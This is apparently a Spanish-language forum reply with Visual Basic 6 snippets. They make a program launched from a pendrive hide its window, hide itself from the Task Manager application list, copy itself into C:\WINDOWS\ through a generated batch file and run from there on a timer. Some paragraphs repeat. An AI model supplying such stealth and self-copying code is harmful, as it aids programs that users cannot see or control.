Bien, has lo siguiente: ubicate en la rutina 'CrearBat', luego, antes de la linea 'Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat' , vas a agregar esta otra linea:
Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:
Y modificaras tu procedimiento 'Form_Load' por este otro:
Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.
Creo que es más de lo que querias hacer,
Código (vb) [Seleccionar]
'Se ejecuta el archivo copiado
Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:
Código (vb) [Seleccionar]
'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function
Y modificaras tu procedimiento 'Form_Load' por este otro:
Código (vb) [Seleccionar]
Private Sub Form_Load()
Me.Visible = False 'Formulario invisible
App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas
If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
'Si no encuentra el archivo entra aquí
CrearBat 'Creamos el bat
Shell "Copiar.bat" 'Y lo ejecutamos
End
Else
'Si lo encuentra entra aquí
Timer1.Enabled = True
Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
Mientras mas bajo es el valor, mas rapido sera el ciclo.
'1000 equivale a 1 segundo.
End If
End Sub
Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.
Creo que es más de lo que querias hacer,